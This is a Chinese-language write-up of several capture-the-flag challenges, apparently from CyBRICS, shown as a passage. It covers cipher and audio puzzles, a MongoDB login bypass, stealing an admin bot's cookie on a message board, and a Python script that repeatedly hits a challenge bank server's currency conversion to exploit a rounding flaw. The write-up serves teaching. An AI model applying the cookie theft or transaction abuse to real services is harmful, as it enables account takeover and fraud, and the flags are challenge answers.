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
--J2SCkAp4GZ/dPZZf--
.

解密一下这串base64可以看到很明显是压缩包,压缩包密码就是crack0Weston88vertebra,解压一下就可以拿到一个pdf,内容是cybrics{Y0uV3_G0T_m41L},就是flag了

Honey, Help!

这个题目拿到一张图片

很明显可以知道echo $'\e(0‘以后是ls -la,然后下一个命令是cat flag
然后将拿到的txt文件放进去十六进制编辑器去对照出来一个字母表,连猜带蒙对应着写出flag

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E2 90 8C  c
E2 89 A4 y
E2 90 89 b
E2 8E BC r
E2 90 8B i
E2 90 8C c
E2 8E BD s
CF 80 {
E2 90 A4 h
30 0
E2 94 8C l
E2 89 A4 y
5F _
E2 90 8C c
E2 8E BC r
34 4
E2 8E BB p
5F _
31 1
E2 8E BD s
5F _
E2 94 9C t
E2 90 A4 h
E2 90 8B i
E2 8E BD s
5F _
E2 96 92 a
E2 94 8C l
31 1
33 3
E2 94 BC n
E2 90 8B i
24 $
E2 90 A4 h
5F _
30 0
E2 8E BC r
5F _
E2 94 AC w
34 4
E2 94 9C t
3F ?
C2 A3 }

赛后才想到可以自己打这个命令去弄出一个字母表,对照就行

NopeSQL

这个网站后台数据库是mongo,尝试一下登录进去

进去以后能看到一些信息

接下来我们就是读flag了

Tone

题目是

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Ha! Looks like this guy forgot to turn off his video stream and entered his password on his phone!
youtu.be/11k0n7TOYeM

这个音频里面的音调系统是DTMF,我们先去找那个对应的音频系统

然后就是去下载m4a文件用Audacity打开,进行频谱分析(选好音频区间,分析,频谱分析)
然后对应两个最高点读赫兹,接着对应码表解出数字

最后读出来的密码是222 999 22 777 444 222 7777 7777 33 222 777 33 8 8 666 66 2 555 333 555 2 4,到了这里就是手机键盘加密解密了,有一种手机键盘密码(九宫格)是数字对应键盘上面的字母,有几个字母就是第几个字母,也是就2=A 22=B 222=C 3=D 33=E 333=F,以此类推,所以翻译出来就是cybricssecrettonalflag,也就是cybrics{secrettonalflag}

Caesaref

这个网站是一个写留言的网站,一开始我以为是xss,打了一堆过去都不能打过去,自闭了,后来发现直接在留言框里面输入网址bot就会访问过去,然后就能拿到管理员的cookie,换一下就能拿到flag了

Zakukozh

这是一个仿射密码,就是一种替换密码,公式如下E(x) = [(a*x) + b] % mx是明文,abm分别是选定的用来加密的数字,E(x)是密文,解密公式则是d(x) = a^(-1) * (x-b),而a^(-1)a的逆元,题目的bin文件提取出来的东西就是密文,结合题目我们可以知道,原文字符是图片,图片文件头有几种

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JPEG: ff d8 ff e0 xx xx 4a 46 49 46
GIF: 47 49 46 38 39 61
PNG: 89 50 4e 47 0d 0a 1a 0a

再接下来就是列方程尝试哪个可以进行解密,因为bin文件里面最大的数字是0xff,所以我们可以猜测m=0x100,最后尝试出来是jpg文件,解方程解出来

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a^(-1) = 239
b = 0x59

最后解密的脚本就是

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from pwn import *
import gmpy2
p = open('zakukozh','rb')
f = open('res','wb+')
a = p.read(1)
while a:
a = ord(a)
temp = (239*(a-0x59))%0x100
print hex(temp)
# print len(hex(temp))
# pause()
f.write((hex(temp)[2:]) + '\n')
a = p.read(1)
print "OK"

Bitkoff Bank

这个是一个转化钱的银行,可以买股票,也可以转化钱,而买股票再抛出只能获得0.0000000001usb,但是买flag需要1usd,而转化钱这里有个溢出漏洞,我们抓包转化一下钱,可以获得多一点钱,我们可以先疯狂买股票抛股票攒一点钱,然后就写脚本不断将usb转成btc或者将btc转成usb

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import requests
import time

url = "http://95.179.148.72:8083/index.php"
cookie = {
"name": "Ariel",
"password": "123"
}

data1 = {
"from_currency": "btc",
"to_currency": "usd",
"amount": 0.0000368417
}

data2 = {
"from_currency": "usd",
"to_currency": "btc",
"amount": 0.401781
}
j = 0
for i in range(500):
j+=1
if(j%10 == 0):
time.sleep(2)
res1 = requests.post(url=url, cookies=cookie, data=data1).text
print "[+]1-----: " + str(res1)[0:60]
res2 = requests.post(url=url, cookies=cookie, data=data2).text
print "[+]2-----: " + str(res2)[0:60]

最后买个flag就行

Big RAM

题目如下

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We heard that substitution ciphers are easy to crack with frequency analysis. Especially for English texts! This one, however, doesn’t map same letters to same letters, so it should be unbreakable.
We even encrypted an entire book with it. Inside this book, we keep the flag.

我们解压压缩包可以拿到两个文件,一个encoder_decoder.py,另一个是book.enc,在book.enc里面有个xanjtou{sw_p_aqws_oefnehyh_jyiq_zw_qczoa_ybwrgzsbmu},但是我们看到题目说了他会将相同的字符加密成不同的字符,所以如果我们想直接对应翻译出来是不行的,接下来就是看另一个encoder_decoder.py文件
在python文件里面我们可以看见它只对大写字母和小写字母进行加密,加密字符串还很多,结合题目我们可以用频率分析去对应出字母,因为在我们使用英文的时候,字母里面的有一些字符用的频率特别多,比如英文里,出现最多的是字母e,但是题目说了,同样的字母翻译过来的字母是不一样的,因此,他对应的可能是多个字符的对应翻译,比如是ab=>ec这样,因此这个难度就大得多了
接下来先找常见的双字母组合

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th 1.52       en 0.55       ng 0.18
he 1.28 ed 0.53 of 0.16
in 0.94 to 0.52 al 0.09
er 0.94 it 0.50 de 0.09
an 0.82 ou 0.50 se 0.08
re 0.68 ea 0.47 le 0.08
nd 0.63 hi 0.46 sa 0.06
at 0.59 is 0.46 si 0.05
on 0.57 or 0.43 ar 0.04
nt 0.56 ti 0.34 ve 0.04
ha 0.56 as 0.33 ra 0.04
es 0.56 te 0.27 ld 0.02
st 0.55 et 0.19 ur 0.02

我们拿原来题目的脚本改一下,来求出当前的频率进行对比,脚本如下

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#!/usr/bin/python
import sys, hashlib, random, itertools, string, re

if len(sys.argv) <= 4 or (sys.argv[1] != "enc" and sys.argv[1] != "dec"):
print ("USAGE:")
print ("%s {enc|dec} key input.txt output.txt"%sys.argv[0])
exit(1)

_, mode, key, inputFile, outputFile = sys.argv

## 初始化
key = hashlib.sha256(key).hexdigest()
random.seed(int(key, 16))

## 字母映射
plain1 = list(string.ascii_lowercase)
crypt1 = plain1[:]
random.shuffle(crypt1)

## 双字母映射
plain2 = [''.join(x) for x in itertools.product(string.ascii_lowercase, string.ascii_lowercase)]
crypt2 = plain2[:]
random.shuffle(crypt2)

## if decrypting, replace in the other direction
if mode == "dec":
plain1, crypt1 = crypt1, plain1
plain2, crypt2 = crypt2, plain2

map1 = dict(zip(plain1, crypt1))
map2 = dict(zip(plain2, crypt2))
freq = {}

def transform(s):
s = s.group(0)
res = ""
for i in range(0, len(s), 2):
chunk = s[i:i+2]

if chunk.lower() not in freq:
freq[chunk.lower()] = 1
else:
freq[chunk.lower()] += 1
## 双字母
if len(chunk) == 2:
ciph = map2[chunk.lower()]
if chunk[0] == chunk[0].upper():
ciph = ciph[0].upper() + ciph[1]
if chunk[1] == chunk[1].upper():
ciph = ciph[0] + ciph[1].upper()
## 单数字母
elif len(chunk) == 1:
ciph = map1[chunk.lower()]
if chunk == chunk.upper():
ciph = ciph.upper()
res += ciph
return res

## 记录结果
text = open(sys.argv[3], "rb").read()
text = re.sub(r'[a-z]+', transform, text, 0, re.I)
open(sys.argv[4], "wb").write(text)

out = open('freq.txt', "wb")
for item in sorted(freq.items(), key=lambda x: x[1], reverse=True):
out.write('%s, %d\n' % (item[0], item[1]))

运行python freq.py enc anypassword book.enc freq.txt,接着查看结果,大致如下

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yb, 12610
n, 11822
x, 7827
s, 7262
u, 6012
ow, 5406
wr, 5119
jo, 3736
jy, 3726
cd, 3615
......

可以看到yb的频率远远高于其他字母出现的频率,因此我们可以先大致确定yb=>th
但是还有一个问题,由于字母的元组对应可以是一对一、一对多和多对多,因此我们在解码的时候会面临一字多解的问题,接下来就需要再利用原来给的encode脚本去加密对比来帮助我们更好地进行解密了
具体操作如下,首先我们可以先拿一个文字进行加密,例如用anypassword去加密book.enc,命令python encoder_decoder.py enc anypassword book.enc book2.enc

CATALOG
  1. 1. warmup
  2. 2. ProCTF
  3. 3. Paranoid
  4. 4. Sender
  5. 5. Honey, Help!
  6. 6. NopeSQL
  7. 7. Tone
  8. 8. Caesaref
  9. 9. Zakukozh
  10. 10. Bitkoff Bank
  11. 11. Big RAM